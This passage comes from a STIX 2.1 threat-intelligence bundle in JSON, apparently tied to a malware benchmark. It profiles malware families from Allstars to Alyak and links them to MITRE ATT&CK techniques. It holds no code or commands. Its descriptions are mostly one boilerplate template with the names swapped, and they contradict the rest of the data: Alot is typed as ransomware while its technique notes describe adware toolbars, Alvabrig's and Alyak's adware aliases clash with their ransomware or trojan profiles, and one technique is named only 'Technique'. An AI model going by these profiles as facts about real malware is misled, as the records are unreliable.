      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b98cb3f-87d5-507b-a08f-3a1c2c4388cc",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Allinonekeylogger exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e0a4ced-8df7-5782-8b11-4fe49676d031",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b98cb3f-87d5-507b-a08f-3a1c2c4388cc",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Allinonekeylogger exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--318fc31f-a50f-5ca1-82ee-22d4d2d3028d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Allstars",
      "description": "Allstars (classified in antivirus detection telemetry under designations including Trojan:Win32/Allstars, Trojan.Win32.Allstars, and Win32/Allstars) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Allstars executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Allstars",
        "Trojan.Win32.Allstars",
        "Win32/Allstars"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Allstars",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/allstars"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67d780c6-4b32-5e10-9b7b-c3867edecd66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--318fc31f-a50f-5ca1-82ee-22d4d2d3028d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Allstars exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01fe46ba-1a8a-5a03-b7cd-1e4123accbd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--318fc31f-a50f-5ca1-82ee-22d4d2d3028d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Allstars exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af2c0834-e8c3-5150-8c15-f865d00c130f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--318fc31f-a50f-5ca1-82ee-22d4d2d3028d",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Allstars exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--861b76c6-24b5-57c9-a527-ef9d2906531d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Alman",
      "description": "Alman (cataloged across security vendors and threat intelligence databases under signatures including Virus:Win32/Alman, Almanahe, and W32/Alman) is a landmark, highly aggressive Windows PE file infector virus with backdoor and rootkit capabilities active since 2007. Once active on an endpoint, Alman actively searches fixed drives, removable USB storage, and accessible local network shares for legitimate Windows executable (.exe and .dll) files. The virus infects these executables by prepending or appending its malicious code while preserving host execution to prevent crashes. Additionally, Alman spreads laterally across local subnets by attempting to brute-force shared network folders using common administrative credentials, drops rootkit components to conceal infected files, and establishes remote C2 communications. (Observed samples in benchmark: 43)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Alman",
        "Almanahe",
        "W32/Alman",
        "Virus.Win32.Alman",
        "Win32/Alman.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Alman",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/alman"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--67611cac-a9aa-5851-83ea-15983d21222a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Alnaddy",
      "description": "Alnaddy (classified in antivirus detection telemetry under designations including Trojan:Win32/Alnaddy, Trojan.Win32.Alnaddy, and Win32/Alnaddy) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Alnaddy executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Hijacker.Alnaddy",
        "Adware.Alnaddy",
        "BrowserModifier.Alnaddy",
        "Trojan:Win32/Alnaddy",
        "Trojan.Win32.Alnaddy",
        "Win32/Alnaddy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Alnaddy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/alnaddy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c362a2cd-bcea-5ab1-84b2-e57b4197f792",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67611cac-a9aa-5851-83ea-15983d21222a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alnaddy exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9e4a5aa-b863-56c6-8f9e-73f1d1a01f0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67611cac-a9aa-5851-83ea-15983d21222a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alnaddy exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce7dce0c-a888-5511-9364-d1d6c80342d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67611cac-a9aa-5851-83ea-15983d21222a",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alnaddy exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--71be4fc9-166a-502e-bf81-ffdc6507c49d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Alot",
      "description": "Alot (classified in antivirus detection telemetry under designations including Ransom:Win32/Alot, Ransom.Win32.Alot, and Win32/Alot) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Alot executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Alot",
        "Ransom.Win32.Alot",
        "Win32/Alot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Alot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/alot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91011029-ffe3-5cd1-8eb5-b670cc259e3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71be4fc9-166a-502e-bf81-ffdc6507c49d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alot exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs to control web traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d94d6e9-f40b-58cf-8917-ba53a7918b52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71be4fc9-166a-502e-bf81-ffdc6507c49d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alot exhibits technique T1189 (Drive-by Compromise (Exposing the user to malvertising via injected ads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--703c8b2c-7450-57ad-a0dc-dbcf79d7320c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71be4fc9-166a-502e-bf81-ffdc6507c49d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alot exhibits technique T1547.001 (Boot or Logon Autostart Execution (Ensuring the adware launcher runs on boot))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4703fd39-bb99-54a8-8e07-80c016c32317",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Alphaeon",
      "description": "Alphaeon (classified in antivirus detection telemetry under designations including Ransom:Win32/Alphaeon, Ransom.Win32.Alphaeon, and Win32/Alphaeon) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Alphaeon executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Alphaeon",
        "Ransom.Win32.Alphaeon",
        "Win32/Alphaeon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Alphaeon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/alphaeon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ded237c-ff5c-5a0e-8df9-b56eb8e07d2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4703fd39-bb99-54a8-8e07-80c016c32317",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alphaeon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db2425c7-c23b-575e-b14d-531e8c79c06a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4703fd39-bb99-54a8-8e07-80c016c32317",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alphaeon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--426bb7ab-04f7-5987-8a8a-e261b8ad197d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4703fd39-bb99-54a8-8e07-80c016c32317",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alphaeon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--442643fc-be3c-5f5a-936f-1abdcbf5eefc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4703fd39-bb99-54a8-8e07-80c016c32317",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alphaeon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86486bca-ef05-5565-8464-c053a9dc7f88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4703fd39-bb99-54a8-8e07-80c016c32317",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alphaeon exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f58386fe-967c-5d6b-ac95-95c801597b1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Alreay",
      "description": "Alreay (classified in antivirus detection telemetry under designations including Ransom:Win32/Alreay, Ransom.Win32.Alreay, and Win32/Alreay) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Alreay executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Alreay",
        "Ransom.Win32.Alreay",
        "Win32/Alreay"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Alreay",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/alreay"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--591d5d7c-e72b-56bb-afbc-c3fdf428ec85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f58386fe-967c-5d6b-ac95-95c801597b1f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alreay exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e4245ec-ff3f-5389-92b4-726ce046dda6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f58386fe-967c-5d6b-ac95-95c801597b1f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alreay exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10492e3d-0fad-5aef-b58f-4b38e51bfe85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f58386fe-967c-5d6b-ac95-95c801597b1f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alreay exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9944a003-fd56-53e8-8090-972fbae38350",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f58386fe-967c-5d6b-ac95-95c801597b1f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alreay exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e56c9aaf-464f-53fc-9f68-7084d29ea901",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f58386fe-967c-5d6b-ac95-95c801597b1f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alreay exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5b88a38a-7ecc-5cc5-a66e-52c47b868825",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Alvabrig",
      "description": "Alvabrig (classified in antivirus detection telemetry under designations including Ransom:Win32/Alvabrig, Ransom.Win32.Alvabrig, and Win32/Alvabrig) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Alvabrig executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Alvabrig",
        "Adware.Alvabrig",
        "Win32/Alvabrig",
        "Ransom:Win32/Alvabrig",
        "Ransom.Win32.Alvabrig"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Alvabrig",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/alvabrig"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--feff725b-48f3-5e02-9fa6-d065cabd207a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b88a38a-7ecc-5cc5-a66e-52c47b868825",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alvabrig exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--136dd6f0-4410-5c2c-9d1f-4a84f0942b5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1053: Technique",
      "description": "MITRE ATT&CK Technique T1053 (Technique) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1053",
          "url": "https://attack.mitre.org/techniques/T1053/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82f68c1b-8e76-51d8-adc9-b836215dbedd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b88a38a-7ecc-5cc5-a66e-52c47b868825",
      "target_ref": "attack-pattern--136dd6f0-4410-5c2c-9d1f-4a84f0942b5a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alvabrig exhibits technique T1053 (Technique)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f87d3912-6b6f-5d1b-85f2-af5f094e0934",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b88a38a-7ecc-5cc5-a66e-52c47b868825",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alvabrig exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a94d1b30-6e7c-550c-b470-a3b486f66130",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b88a38a-7ecc-5cc5-a66e-52c47b868825",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alvabrig exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6bc7d86f-50ad-5196-8c7f-072e4cfea267",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Alyak",
      "description": "Alyak (classified in antivirus detection telemetry under designations including Trojan:Win32/Alyak, Trojan.Win32.Alyak, and Win32/Alyak) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Alyak executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.Alyak",
        "Adware.Alyak",
        "Generic.Alyak",
        "Trojan:Win32/Alyak",
        "Trojan.Win32.Alyak",
        "Win32/Alyak"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Alyak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/alyak"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1204: User Execution (Relying on the user to bypass the heuristic warning)",
      "description": "MITRE ATT&CK Technique T1204 (User Execution (Relying on the user to bypass the heuristic warning)) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1204",
          "url": "https://attack.mitre.org/techniques/T1204/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23f7a762-2a8e-5bb2-bdf3-cf7e851ca85a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6bc7d86f-50ad-5196-8c7f-072e4cfea267",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alyak exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1059.001: Command and Scripting Interpreter: PowerShell (Used in infection chain)",
      "description": "MITRE ATT&CK Technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain)) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1059.001",
          "url": "https://attack.mitre.org/techniques/T1059/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41d923ff-e13f-5274-a1cb-ec65f4d90dc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
